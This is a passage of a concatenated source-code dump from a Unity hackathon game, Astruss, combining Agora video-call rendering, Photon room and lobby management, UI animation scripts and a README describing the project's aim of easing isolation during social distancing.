SceneManager.LoadScene("Lobby");
}
}
<file_sep>/Assets/AgoraEngine/Scripts/AgoraGamingSDK/videoRender/VideoSurface.cs
using UnityEngine;
using UnityEngine.UI;
using System.Runtime.InteropServices;
using System;
namespace agora_gaming_rtc
{
/* This example script demonstrates how to attach
* video content to a GameObject
*
* Agora engine outputs one local preview video and some
* remote user video. User ID (int) is used to identify
* these video streams. 0 is used for local preview video
* stream, and other value stands for remote user video
* stream.
*/
/** The definition of AgoraVideoSurfaceType.
*/
public enum AgoraVideoSurfaceType
{
/** 0: (Default) The renderer for rendering 3D GameObject, such as Cube、Cylinder and Plane.*/
Renderer = 0,
/** 1: The renderer for rendering Raw Image of the UI components. */
RawImage = 1,
};
/** The definition of VideoSurface. */
public class VideoSurface : MonoBehaviour
{
private System.IntPtr data = Marshal.AllocHGlobal(1920 * 1080 * 4);
private int defWidth = 0;
private int defHeight = 0;
private Texture2D nativeTexture;
private bool initRenderMode = false;
private VideoRender videoRender = null;
private uint gameFps = 4;
private uint updateVideoFrameCount = 0;
private bool _enableFlipHorizontal = false;
private bool _enableFlipVertical = false;
[SerializeField]
AgoraVideoSurfaceType VideoSurfaceType = AgoraVideoSurfaceType.Renderer;
/* only one of the following should be set, depends on VideoSurfaceType */
private Renderer mRenderer = null;
private RawImage mRawImage = null;
private bool _initialized = false;
void Start()
{
// render video
if (VideoSurfaceType == AgoraVideoSurfaceType.Renderer)
{
mRenderer = GetComponent<Renderer>();
}
if (mRenderer == null || VideoSurfaceType == AgoraVideoSurfaceType.RawImage)
{
mRawImage = GetComponent<RawImage>();
if (mRawImage != null)
{
// the variable may have been set to default enum but actually it is a RawImage
VideoSurfaceType = AgoraVideoSurfaceType.RawImage;
}
}
if (mRawImage == null && mRenderer == null)
{
_initialized = false;
Debug.LogError("Unable to find surface render in VideoSurface component.");
}
else
{
#if UNITY_EDITOR
// this only applies to Editor, in case of material is too dark
UpdateShader();
#endif
_initialized = true;
}
}
// Update is called once per frame
void Update()
{
#if UNITY_STANDALONE_WIN || UNITY_EDITOR || UNITY_EDITOR_OSX || UNITY_STANDALONE_OSX || UNITY_ANDROID || UNITY_IOS || UNITY_IPHONE
if (updateVideoFrameCount >= gameFps)
{
updateVideoFrameCount = 0;
}
else
{
++updateVideoFrameCount;
return;
}
// process engine messages (TODO: put in some other place)
IRtcEngine engine = GetEngine();
if (engine == null || !_initialized)
return;
// render video
uint uid = mUid;
if (mEnable)
{
// create texture if not existent
if (IsBlankTexture())
{
int tmpi = videoRender.UpdateVideoRawData(uid, data, ref defWidth, ref defHeight);
if (tmpi == -1)
return;
if (defWidth > 0 && defHeight > 0)
{
try
{
// create Texture in the first time update data
nativeTexture = new Texture2D((int)defWidth, (int)defHeight, TextureFormat.RGBA32, false);
nativeTexture.LoadRawTextureData(data, (int)defWidth * (int)defHeight * 4);
FlipTextureHorizontal(nativeTexture);
FlipTextureVertically(nativeTexture);
ApplyTexture(nativeTexture);
nativeTexture.Apply();
}
catch (System.Exception e)
{
Debug.LogError("Exception e = " + e);
}
}
}
else
{
int width = 0;
int height = 0;
int tmpi = videoRender.UpdateVideoRawData(uid, data, ref width, ref height);
if (tmpi == -1)
return;
try
{
if (width == defWidth && height == defHeight)
{
/*
* if width and height don't change ,we only need to update data for texture, do not need to create Texture.
*/
nativeTexture.LoadRawTextureData(data, (int)width * (int)height * 4);
FlipTextureHorizontal(nativeTexture);
FlipTextureVertically(nativeTexture);
nativeTexture.Apply();
}
else
{
/*
* if width or height changed ,we need to resize texture.
*/
defWidth = width;
defHeight = height;
nativeTexture.Resize(defWidth, defHeight);
nativeTexture.LoadRawTextureData(data, (int)width * (int)height * 4);
FlipTextureHorizontal(nativeTexture);
FlipTextureVertically(nativeTexture);
nativeTexture.Apply();
}
}
catch (System.Exception e)
{
Debug.LogError("Exception e = " + e);
}
}
}
else
{
if (!IsBlankTexture())
{
ApplyTexture(null);
}
}
#endif
}
void OnDestroy()
{
Debug.Log("VideoSurface OnDestroy");
if (videoRender != null)
{
videoRender.RemoveUserVideoInfo(mUid);
}
if (data != IntPtr.Zero)
{
Marshal.FreeHGlobal(data);
data = IntPtr.Zero;
}
}
/** Sets the video rendering frame rate.
*
* @note
* - Ensure that you call this method in the main thread.
* - Ensure that you call this method before binding VideoSurface.cs.
*
* @param fps The real video refreshing frame rate of the program.
*/
public void SetGameFps(uint fps)
{
gameFps = fps / 15; // 15 fix me according to the real video frame rate.
}
// call this to render video stream from uid on this game object
/** Sets the local/remote video.
*
* @note
* - Ensure that you call this method in the main thread.
* - Ensure that you call this method before binding VideoSurface.cs.
*
* @param uid The ID of the remote user, which is retrieved from {@link agora_gaming_rtc.OnUserJoinedHandler OnUserJoinedHandler}. The default value is 0, which means you can see the local video.
*/
public void SetForUser(uint uid)
{
mUid = uid;
Debug.Log("Set uid " + uid + " for " + gameObject.name);
}
/** Enables/Disables the mirror mode when renders the Texture.
*
* @note
* - Ensure that you call this method in the main thread.
* - Ensure that you call this method before binding VideoSurface.cs.
*
* @param enableFlipHorizontal Whether to enable the horizontal mirror mode of Texture.
* - true: Enable.
* - false: (Default) Disable.
* @param enableFlipVertical Whether to enable the vertical mirror mode of Texture.
* - true: Enable.
* - false: (Default) Disable.
*/
public void EnableFilpTextureApply(bool enableFlipHorizontal, bool enableFlipVertical)
{
_enableFlipHorizontal = enableFlipHorizontal;
_enableFlipVertical = enableFlipVertical;
}
/** Set the video renderer type.
*
* @param agoraVideoSurfaceType The renderer type, see AgoraVideoSurfaceType.
*/
public void SetVideoSurfaceType(AgoraVideoSurfaceType agoraVideoSurfaceType)
{
VideoSurfaceType = agoraVideoSurfaceType;
}
/** Starts/Stops the video rendering.
*
* @param enable Whether to start/stop the video rendering.
* - true: (Default) Start.
* - false: Stop.
*/
public void SetEnable(bool enable)
{
mEnable = enable;
}
private void FlipTextureHorizontal(Texture2D original)
{
if (_enableFlipHorizontal)
{
var originalPixels = original.GetPixels();
Color[] flipped_data = new Color[originalPixels.Length];
int width = original.width;
int height = original.height;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < height; y++)
{
flipped_data[x + y * width] = originalPixels[width - 1 - x + y * width];
}
}
original.SetPixels(flipped_data);
}
}
private void FlipTextureVertically(Texture2D original)
{
if (_enableFlipVertical)
{
var originalPixels = original.GetPixels();
Color[] newPixels = new Color[originalPixels.Length];
int width = original.width;
int rows = original.height;
for (int x = 0; x < width; x++)
{
for (int y = 0; y < rows; y++)
{
newPixels[x + y * width] = originalPixels[x + (rows - y - 1) * width];
}
}
original.SetPixels(newPixels);
}
}
private IRtcEngine GetEngine()
{
agora_gaming_rtc.IRtcEngine engine = agora_gaming_rtc.IRtcEngine.QueryEngine();
if (!initRenderMode && engine != null)
{
videoRender = (VideoRender)engine.GetVideoRender();
videoRender.SetVideoRenderMode(VIDEO_RENDER_MODE.RENDER_RAWDATA);
videoRender.AddUserVideoInfo(mUid, 0);
initRenderMode = true;
}
return engine;
}
private bool IsBlankTexture()
{
if (VideoSurfaceType == AgoraVideoSurfaceType.Renderer)
{
// if never assigned or assigned texture is not Texture2D, we will consider it blank and create a new one
return (mRenderer.material.mainTexture == null || !(mRenderer.material.mainTexture is Texture2D));
}
else if (VideoSurfaceType == AgoraVideoSurfaceType.RawImage)
{
return (mRawImage.texture == null);
}
else
{
return true;
}
}
/// <summary>
/// nativeTexture at the calling point should have created with image data. This method
/// apply this reference to the surface renderer.
/// </summary>
private void ApplyTexture(Texture2D texture)
{
if (VideoSurfaceType == AgoraVideoSurfaceType.Renderer)
{
mRenderer.material.mainTexture = texture;
}
else if (VideoSurfaceType == AgoraVideoSurfaceType.RawImage)
{
mRawImage.texture = texture;
}
}
/*
* uid = 0, it means yourself but not others, you can get others uid by Agora Engine CallBack onUserJoined.
*/
private uint mUid = 0;
/*
*if disabled, then no rendering happens
*/
private bool mEnable = true;
/*
* Updates Shader to unlit on Editor (some Editor version has the default material that can be too dark.
*/
private void UpdateShader()
{
MeshRenderer mesh = GetComponent<MeshRenderer>();
if (mesh != null)
{
mesh.material = new Material(Shader.Find("Unlit/Texture"));
}
}
}
}<file_sep>/Assets/Scripts/UI/MoveOffsetUI.cs
using UnityEngine;
using UnityEngine.UI;
public class MoveOffsetUI : MonoBehaviour
{
public Vector2 m_Axis = Vector2.right;
public float m_ScrollSpeed = 0.5f;
private RawImage m_Image;
private void Awake()
{
m_Image = GetComponent<RawImage>();
}
private void Update()
{
float offset = Time.time * m_ScrollSpeed;
m_Image.uvRect = new Rect(m_Axis * offset, Vector2.one);
}
}
<file_sep>/Assets/Scripts/UI/BlinkUI.cs
using UnityEngine;
[RequireComponent(typeof(CanvasGroup))]
public class BlinkUI : MonoBehaviour
{
public enum BlinkUIState { None, Running }
public float m_SmoothTime = 8.0f;
public float m_EnableTime = 0.75f;
private CanvasGroup m_CanvasGroup;
private BlinkUIState m_State = BlinkUIState.None;
private void Awake()
{
m_CanvasGroup = GetComponent<CanvasGroup>();
Invoke("Enable", m_EnableTime);
}
private void Enable()
{
m_State = BlinkUIState.Running;
}
private void Update()
{
if (m_State != BlinkUIState.Running)
return;
m_CanvasGroup.alpha = (Mathf.Sin(Time.time * m_SmoothTime) + 1.0f) * 0.5f;
}
}
<file_sep>/Assets/Scripts/UI/ScaleUI.cs
using UnityEngine;
public class ScaleUI : MonoBehaviour, BehaviorUI
{
public enum ScaleState { In, Idle, Out }
private ScaleState m_State = ScaleState.Idle;
[Header("Speed")]
public bool m_AutoEnable = true;
public float m_FirstDelay = 0.5f;
public float m_EnableTime = 0.75f;
public float m_DisableTime = 0.5f;
public AnimationCurve m_Curve = new AnimationCurve(new Keyframe(0, 0), new Keyframe(1, 1));
private float m_ElapsedTime;
private Vector2 m_OriginalScale;
private bool m_Completed;
private RectTransform m_Transform;
private void Awake()
{
m_Transform = GetComponent<RectTransform>();
m_OriginalScale = m_Transform.localScale;
m_Transform.localScale = Vector2.zero;
}
public void Enable()
{
m_ElapsedTime = 0.0f;
m_State = ScaleState.In;
}
public void Disable()
{
m_ElapsedTime = 0.0f;
m_State = ScaleState.Out;
}
private void OnEnable()
{
if (m_AutoEnable)
{
Invoke("Enable", m_FirstDelay);
}
else
{
m_Transform.localScale = Vector2.zero;
}
}
private void Update()
{
if (m_State == ScaleState.Idle)
return;
if (m_State == ScaleState.In)
{
m_Transform.localScale = Lerp(Vector2.zero, m_OriginalScale, m_ElapsedTime / m_EnableTime, out m_Completed);
if (m_Completed) m_State = ScaleState.Idle;
}
if (m_State == ScaleState.Out && !m_Transform.localScale.Equals(Vector2.zero))
{
m_Transform.localScale = Lerp(m_OriginalScale, Vector2.zero, m_ElapsedTime / m_DisableTime, out m_Completed);
if (m_Completed) m_State = ScaleState.Idle;
}
m_ElapsedTime += Time.deltaTime;
}
private Vector2 Lerp(Vector2 from, Vector2 to, float time, out bool completed)
{
var scale = Vector2.LerpUnclamped(from, to, m_Curve.Evaluate(time));
completed = time >= 1.0f;
if (completed)
scale = to;
return scale;
}
}<file_sep>/Assets/Scripts/UI/RotateUI.cs
using UnityEngine;
public class RotateUI : MonoBehaviour
{
private enum RotateTypeUI { None, Continuous, Discreet }
private RotateTypeUI m_Type = RotateTypeUI.None;
public Vector3 m_RotateAxis = Vector3.forward;
[Header("Continuous")]
public bool m_UseContinuous = false;
public float m_Speed = 180.0f;
[Header("Discreet")]
public float m_Time = 0.25f;
public float m_ToAngle = 720.0f;
public AnimationCurve m_Curve = new AnimationCurve(new Keyframe(0, 0), new Keyframe(1, 1));
private float m_Angle = 0.0f;
private float m_StartTime = 0.0f;
private RectTransform m_Transform;
private void Awake()
{
m_Transform = GetComponent<RectTransform>();
}
private void Start()
{
m_Type = m_UseContinuous ? RotateTypeUI.Continuous : RotateTypeUI.None;
}
private void Update()
{
if (m_Type == RotateTypeUI.None)
return;
if (m_Type == RotateTypeUI.Continuous)
{
m_Transform.Rotate(m_RotateAxis * m_Speed * Time.deltaTime);
}
if (m_Type == RotateTypeUI.Discreet)
{
float rate = (Time.time - m_StartTime) / m_Time;
m_Angle = Mathf.Lerp(0.0f, m_ToAngle, m_Curve.Evaluate(rate));
m_Transform.rotation = Quaternion.Euler(m_RotateAxis * m_Angle);
if (m_Angle >= m_ToAngle)
{
m_Type = RotateTypeUI.None;
m_Transform.rotation = Quaternion.identity;
}
}
}
public void Rotate()
{
m_StartTime = Time.time;
m_Type = RotateTypeUI.Discreet;
}
}
<file_sep>/Assets/Scripts/Helpers/ChangeScene.cs
using UnityEngine;
public class ChangeScene : MonoBehaviour
{
public bool m_UseTouch;
public bool m_UseTimeToChangeScene;
public float m_Time = 3.0f;
public string m_SceneName;
public AudioClip m_Clip;
public bool m_Used;
public void Start()
{
if (m_UseTimeToChangeScene)
{
Invoke("LoadLevel", m_Time);
}
}
public void Update()
{
if (m_UseTouch)
{
if (Input.anyKeyDown)
{
LoadLevel(m_SceneName);
}
}
}
public void LoadLevelWithTime()
{
if (m_Used)
return;
if(m_Clip)
AudioSource.PlayClipAtPoint(m_Clip, Camera.main.transform.position);
m_Used = true;
ScreenManager.Instance.LoadLevel(m_SceneName);
}
public void LoadLevel(string sceneName)
{
if (m_Used)
return;
if(m_Clip)
AudioSource.PlayClipAtPoint(m_Clip, Camera.main.transform.position);
m_Used = true;
ScreenManager.Instance.LoadLevel(sceneName);
}
public void LoadLevelWithLoading(string sceneName)
{
if (m_Used)
return;
if(m_Clip)
AudioSource.PlayClipAtPoint(m_Clip, Camera.main.transform.position);
m_Used = true;
ScreenManager.Instance.LoadLevelLoading(sceneName);
}
}
<file_sep>/Assets/Scripts/Agora/PlayerVideo.cs
using agora_gaming_rtc;
using UnityEngine;
public class PlayerVideo : MonoBehaviour
{
public VideoSurface videoSurface;
public void Set(uint uid)
{
videoSurface.gameObject.SetActive(true);
videoSurface.SetForUser(uid);
videoSurface.SetGameFps(60);
videoSurface.SetEnable(true);
}
public void Clear()
{
videoSurface.SetEnable(false);
videoSurface.gameObject.SetActive(false);
}
}
<file_sep>/README.md
# Astruss
<p align="left">
<img src="https://github.com/kleberandrade/astruss-nasaspaceapss-unity/blob/master/Figures/alienastro.png" width="200"/>
</p>
The project consists in a game based on developing expeditionary skills to help our players deal with depression and anxiety due to social distancing. Using video calls, our goal is to unite friends and families in a virtual environment, playing games and dealing with isolation together.
## How We Developed This Project
Everyone in the team has seen some people struggle with the social distancing. Family members, friends, coworkers, we all know someone who really suffers due to the lack of interaction with other people. This, along for our love for getting together and playing games, gave us the idea to try and replicate the experience of playing a card, board or any kind of analog game.
The extensive use of video calls during the pandemic also made clear how this technology is very accessible to people of different ages. So we designed a clean UI in a comprehensive way so that our game can be played by families, from kids, to their grandparents.
The data given by NASA helped us get some insight on Expeditionary Skills. Our game, Astruss, is highly based on those skills. We also used the data on the effects of isolation on astronauts, as reference for better understanding what are we fighting against.
Our goal is to bring the astronauts' preparation for isolation to the players in a light and fun way.
Most of the tools we used were chosen because the team already had some experience with it. Adding the network and video call solutions were a little bit problematic at the beginning, so the development team spent the first day figuring out which tools to use and how to use them. Our teamwork was very fluid and everyone was very participative which resulted in a solid MVP.
## Mockup
<p align="center">
<img src="https://github.com/kleberandrade/astruss-nasaspaceapss-unity/blob/master/Figures/mockup.png" width="800"/>
</p>
## Video
- [https://www.youtube.com/watch?v=_HE93Yk63Ic](https://www.youtube.com/watch?v=_HE93Yk63Ic)
## Team
- <NAME>
- <NAME>
- <NAME>
- <NAME>
- <NAME>
- <NAME>
## Tools
- **Game Engine:** Unity
- **Design:** Adobe Illustrator
- **Prototyping:** Figma
- **IDE:** Visual Studio Code and JetBrains Rider
## References
- Data & Resources https://www.nasa.gov/audience/foreducators/stem-on-station/expeditionary-skills-for-life.html
- https://www.nasa.gov/feature/an-astronaut-s-tips-for-living-in-space-or-anywhere
- https://www.nasa.gov/mission_pages/station/research/experiments/explorer/Investigation.html?#id=964
## License
Copyright 2020 Alienastro
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
<file_sep>/Assets/Scripts/UI/ShakeUI.cs
using UnityEngine;
public class ShakeUI : MonoBehaviour
{
public float m_Decay = 0.002f;
public float m_Intensity = .3f;
public float m_Power = 50.0f;
private Quaternion m_OriginRotation;
private float m_CurrentIntensity = 0;
private RectTransform m_Transform;
private void Awake()
{
m_Transform = GetComponent<RectTransform>();
m_OriginRotation = Quaternion.identity;
}
private void Update()
{
if (m_CurrentIntensity > 0)
{
var angle = Random.Range(-m_CurrentIntensity, m_CurrentIntensity) * m_Power;
var rotation = Quaternion.Euler(0, 0, angle);
m_Transform.rotation = rotation;
m_CurrentIntensity -= m_Decay;
}
}
public void Shake()
{
m_CurrentIntensity = m_Intensity;
}
}
<file_sep>/Assets/Scripts/UI/GradientUI.cs
using UnityEngine;
using UnityEngine.UI;
public class GradientUI : MonoBehaviour
{
private RawImage m_Image;
private Texture2D m_Texture;
public Color m_StartColor;
public Color m_EndColor;
private void Start()
{
m_Image = GetComponent<RawImage>();
m_Texture = new Texture2D(1, 2);
m_Texture.wrapMode = TextureWrapMode.Clamp;
m_Texture.filterMode = FilterMode.Bilinear;
SetColor(m_StartColor, m_EndColor);
}
public void SetColor(Color color1, Color color2)
{
m_Texture.SetPixels(new Color[] { color1, color2 });
m_Texture.Apply();
m_Image.texture = m_Texture;
m_Image.color = Color.white;
}
}
<file_sep>/Assets/Scripts/UI/MovePingPongUI.cs
using UnityEngine;
public class MovePingPongUI : MonoBehaviour, BehaviorUI
{
public enum MovePingPongUIState { None, Running }
public float m_Range = 0.05f;
public float m_SmoothTime = 10.0f;
public Vector3 m_Axis = Vector3.up;
public float m_EnableTime = 0.75f;
private Vector3 m_StartPosition;
private MovePingPongUIState m_State = MovePingPongUIState.None;
private void OnEnable()
{
Invoke("Enable", m_EnableTime);
}
public void Enable()
{
m_StartPosition = transform.position;
m_State = MovePingPongUIState.Running;
}
public void OnDisable()
{
Disable();
}
public void Disable()
{
m_State = MovePingPongUIState.None;
}
private void Update()
{
if (m_State == MovePingPongUIState.None)
return;
transform.position = m_StartPosition + m_Axis * Mathf.Sin(Time.time * m_SmoothTime) * m_Range;
}
}
<file_sep>/Assets/Scripts/Room/WaitManager.cs
using Photon.Pun;
using Photon.Realtime;
using System.Collections;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class WaitManager : MonoBehaviourPunCallbacks
{
public Text m_RoomNameText;
public Text m_RoomAmountText;
public GameObject m_CheckImage;
public GameObject m_ReadyButton;
public float m_WaitTime = 3.0f;
public void LeaveRoom()
{
StartCoroutine(Coroutine_LeaveRoom());
}
public void CanLoadLevel()
{
if (PhotonNetwork.IsMasterClient)
{
Debug.LogFormat($"PhotonNetwork : Loading Level : {PhotonNetwork.CurrentRoom.PlayerCount}");
if (PhotonNetwork.CurrentRoom.PlayerCount == RoomManager.m_MaxPlayers)
{
LoadLevel(m_WaitTime);
}
}
}
public void LoadLevel(float waitTime)
{
StartCoroutine(Coroutine_LoadLevel(waitTime));
}
public IEnumerator Loading(float waitTime)
{
yield return new WaitForSeconds(waitTime);
PhotonNetwork.LoadLevel("Gameplay");
}
public override void OnJoinedRoom()
{
Debug.Log("OnJoinedRoom");
}
private void UpdateUI()
{
if (!PhotonNetwork.InRoom)
return;
m_CheckImage.gameObject.SetActive(PhotonNetwork.CurrentRoom.PlayerCount == RoomManager.m_MaxPlayers);
m_RoomNameText.text = $"{PhotonNetwork.CurrentRoom.Name}";
m_RoomAmountText.text = $"{PhotonNetwork.CurrentRoom.PlayerCount} / {RoomManager.m_MaxPlayers}";
m_ReadyButton.SetActive(PhotonNetwork.IsMasterClient && PhotonNetwork.CurrentRoom.PlayerCount > 1);
PhotonNetwork.CurrentRoom.IsOpen = PhotonNetwork.CurrentRoom.PlayerCount != RoomManager.m_MaxPlayers;
PhotonNetwork.CurrentRoom.IsVisible = PhotonNetwork.CurrentRoom.PlayerCount != RoomManager.m_MaxPlayers;
}
private void FixedUpdate()
{
UpdateUI();
}
private IEnumerator Coroutine_LeaveRoom(){
yield return new WaitForSeconds(0.25f);
if (!PhotonNetwork.InRoom)
yield return null;
else{
PhotonNetwork.LeaveRoom();
PhotonNetwork.LeaveLobby();
SceneManager.LoadScene("Lobby");
yield return null;
}
}
private IEnumerator Coroutine_LoadLevel(float waitTime){
yield return new WaitForSeconds(0.25f);
PhotonNetwork.CurrentRoom.IsOpen = false;
PhotonNetwork.CurrentRoom.IsVisible = false;
StartCoroutine(Loading(waitTime));
yield return null;
}
}
<file_sep>/Assets/Scripts/Room/RoomCard.cs
using Photon.Pun;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class RoomCard : MonoBehaviour
{
public Text m_RoomName;
public Text m_RoomPlayers;
private RoomModel m_Room;
public void SetRoom(RoomModel room)
{
m_Room = room;
m_RoomName.text = room.roomName;
m_RoomPlayers.text = $"{room.amount} / {room.maxSize}";
}
public void JoinRoom()
{
Debug.Log($"Join Room {m_Room.roomName}");
PlayerPrefs.SetString(RoomManager.m_ChannelNamePrefs, m_Room.roomName);
PhotonNetwork.JoinRoom(m_Room.roomName);
SceneManager.LoadScene("Waiting");
}
}
<file_sep>/Assets/Scripts/UI/FadeIn.cs
using UnityEngine;
[RequireComponent(typeof(CanvasGroup))]
public class FadeIn : MonoBehaviour
{
public float m_Time = 0.5f;
private float m_StartTime;
private CanvasGroup m_CanvasGroup;
public AnimationCurve m_Curve;
private void Awake()
{
m_CanvasGroup = GetComponent<CanvasGroup>();
}
private void Start()
{
m_CanvasGroup.alpha = 1.0f;
m_StartTime = Time.time;
}
private void Update()
{
m_CanvasGroup.alpha = Mathf.Lerp(1.0f, 0.0f, m_Curve.Evaluate((Time.time - m_StartTime) / m_Time));
}
}
<file_sep>/Assets/Scripts/Manager/Pause.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Pause : MonoBehaviour
{
public bool m_IsPaused {get; set;}
public GameObject m_PausePanel;
public void Show(){
m_PausePanel.SetActive(true);
m_IsPaused = true;
Time.timeScale = 0.0f;
}
public void Hide(){
m_PausePanel.SetActive(false);
m_IsPaused = false;
Time.timeScale = 1.0f;
}
public void Toggle()
{
if(m_IsPaused)
Hide();
else
Show();
}
public void Update(){
if(Input.GetKeyDown(KeyCode.Escape)) Toggle();
}
}
<file_sep>/Assets/Scripts/Room/RoomModel.cs
[System.Serializable]
public class RoomModel
{
public string roomName;
public int amount;
public int maxSize;
}<file_sep>/Assets/Scripts/SignIn/SignInController.cs
using System.Collections;
using System.Collections.Generic;
using Photon.Pun;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class SignInController : MonoBehaviourPunCallbacks
{
public AudioSource Sfx_Click;
public string m_LobySceneName = "Lobby";
public InputField m_PlayerNameInputField;
private string m_PlayerNamePrefs = "PLAYER_NAME";
private void Start()
{
Screen.sleepTimeout = SleepTimeout.NeverSleep;
PhotonNetwork.AutomaticallySyncScene = true;
if (PlayerPrefs.HasKey(m_PlayerNamePrefs))
{
m_PlayerNameInputField.text = PlayerPrefs.GetString(m_PlayerNamePrefs);
}
}
public void Login()
{
Sfx_Click.Play();
StartCoroutine(ChangeScene());
}
private IEnumerator ChangeScene(){
yield return new WaitForSeconds(0.25f);
if (m_PlayerNameInputField.text != string.Empty)
{
PhotonNetwork.NickName = m_PlayerNameInputField.text;
PlayerPrefs.SetString(m_PlayerNamePrefs, m_PlayerNameInputField.text);
PlayerPrefs.Save();
}
else
{
PhotonNetwork.NickName = "Player" + Random.Range(1000, 9999);
}
PhotonNetwork.ConnectUsingSettings();
SceneManager.LoadScene(m_LobySceneName);
yield return null;
}
}
<file_sep>/Assets/Scripts/Manager/ScreenManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class ScreenManager : MonoBehaviour
{
public static ScreenManager Instance { get; private set; }
public void Awake()
{
if (Instance == null)
{
Instance = this;
}
else if (Instance != this)
{
Destroy(gameObject);
}
}
[Header("Transition")]
public FadeInOut m_Fader;
[Header("Loading")]
public GameObject m_LoadingPanel;
public float m_DelayAfterLaoding = 2.0f;
public void LoadLevel(string nextSceneName)
{
StartCoroutine(ChangeScene(nextSceneName, false));
}
public void LoadLevelLoading(string nextSceneName)
{
StartCoroutine(ChangeScene(nextSceneName, true));
}
private IEnumerator ChangeScene(string nextSceneName, bool loading)
{
List<BehaviorUI> list = Helper.FindAll<BehaviorUI>();
foreach (BehaviorUI ui in list)
ui.Disable();
m_Fader.Show();
yield return new WaitForSeconds(m_Fader.m_Time);
if (nextSceneName.Equals("Quit"))
{
QuitGame();
}
else
{
if (loading)
{
m_LoadingPanel.SetActive(true);
m_Fader.Hide();
yield return new WaitForSeconds(m_Fader.m_Time);
}
AsyncOperation asyncScene = SceneManager.LoadSceneAsync(nextSceneName);
asyncScene.allowSceneActivation = false;
while (!asyncScene.isDone)
{
if (asyncScene.progress >= 0.9f)
{
if (loading)
{
yield return new WaitForSeconds(m_DelayAfterLaoding);
m_Fader.Show();
yield return new WaitForSeconds(m_Fader.m_Time);
m_LoadingPanel.SetActive(false);
}
asyncScene.allowSceneActivation = true;
}
yield return null;
}
}
}
public void QuitGame()
{
#if UNITY_EDITOR
UnityEditor.EditorApplication.isPlaying = false;
#else
Application.Quit();
#endif
}
}<file_sep>/Assets/Scripts/Room/RoomManager.cs
using System.Collections;
using System.Collections.Generic;
using Photon.Pun;
using Photon.Realtime;
using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class RoomManager : MonoBehaviourPunCallbacks
{
public static string m_ChannelNamePrefs = "CHANNEL_NAME";
public static string m_CreateChannelNamePrefs = "CREATE_CHANNEL_NAME";
public static byte m_MaxPlayers = 6;
public Transform m_Content;
public GameObject m_RoomCard;
public InputField m_RoomNameInputField;
public string m_LobySceneName = "Waiting";
private Dictionary<string, RoomInfo> m_CachedRoomList = new Dictionary<string, RoomInfo>();
private Dictionary<string, GameObject> m_RoomList = new Dictionary<string, GameObject>();
private void Start()
{
if (PlayerPrefs.HasKey(m_CreateChannelNamePrefs))
{
m_RoomNameInputField.text = PlayerPrefs.GetString(m_CreateChannelNamePrefs);
}
}
public void JoinRoom()
{
PhotonNetwork.JoinLobby();
}
public void CreateRoom()
{
if (!PhotonNetwork.InLobby)
return;
if (m_RoomNameInputField.text != string.Empty)
{
PlayerPrefs.SetString(m_CreateChannelNamePrefs, m_RoomNameInputField.text);
PlayerPrefs.SetString(m_ChannelNamePrefs, m_RoomNameInputField.text);
PlayerPrefs.Save();
RoomOptions option = new RoomOptions { MaxPlayers = m_MaxPlayers };
PhotonNetwork.CreateRoom(m_RoomNameInputField.text, option);
SceneManager.LoadScene(m_LobySceneName);
}
}
public void ClearRoomList()
{
foreach (Transform item in m_Content)
Destroy(item.gameObject);
m_RoomList.Clear();
}
public void UpdateRoomList()
{
foreach (RoomInfo info in m_CachedRoomList.Values)
{
GameObject card = Instantiate(m_RoomCard);
card.transform.parent = m_Content.transform;
card.transform.localScale = Vector3.one;
RoomModel room = new RoomModel
{
roomName = info.Name,
maxSize = info.MaxPlayers,
amount = info.PlayerCount
};
var script = card.GetComponent<RoomCard>();
script.SetRoom(room);
m_RoomList.Add(info.Name, card);
}
}
public void UpdateCacheRoomList(List<RoomInfo> roomList)
{
foreach (RoomInfo info in roomList)
{
if (!info.IsOpen || !info.IsVisible || info.RemovedFromList)
{
if (m_CachedRoomList.ContainsKey(info.Name))
{
m_CachedRoomList.Remove(info.Name);
}
continue;
}
if (m_CachedRoomList.ContainsKey(info.Name))
{
m_CachedRoomList[info.Name] = info;
}
else
{
m_CachedRoomList.Add(info.Name, info);
}
}
}
public override void OnLeftLobby()
{
m_CachedRoomList.Clear();
ClearRoomList();
}
public override void OnRoomListUpdate(List<RoomInfo> roomList)
{
ClearRoomList();
UpdateCacheRoomList(roomList);
UpdateRoomList();
}
public override void OnJoinRandomFailed(short returnCode, string message)
{
string room = $"Room {Random.Range(1000, 9999)}";
PhotonNetwork.JoinLobby();
}
public override void OnConnectedToMaster()
{
PhotonNetwork.JoinLobby();
Debug.Log("OnConnectedToMaster");
Debug.Log($"Server: {PhotonNetwork.CloudRegion} Ping {PhotonNetwork.GetPing()}");
}
public override void OnJoinedRoom()
{
Debug.Log("OnJoinedRoom");
Debug.Log($"Room name: {PhotonNetwork.CurrentRoom.Name}");
Debug.Log($"Current player in room: {PhotonNetwork.CurrentRoom.PlayerCount}");
}
public override void OnPlayerEnteredRoom(Player newPlayer)
{
Debug.Log("OnPlayerEnteredRoom");
if (PhotonNetwork.InRoom && PhotonNetwork.CurrentRoom.MaxPlayers == PhotonNetwork.CurrentRoom.PlayerCount)
{
PhotonNetwork.CurrentRoom.IsOpen = false;
PhotonNetwork.CurrentRoom.IsVisible = false;
}
}
public override void OnPlayerLeftRoom(Player otherPlayer)
{
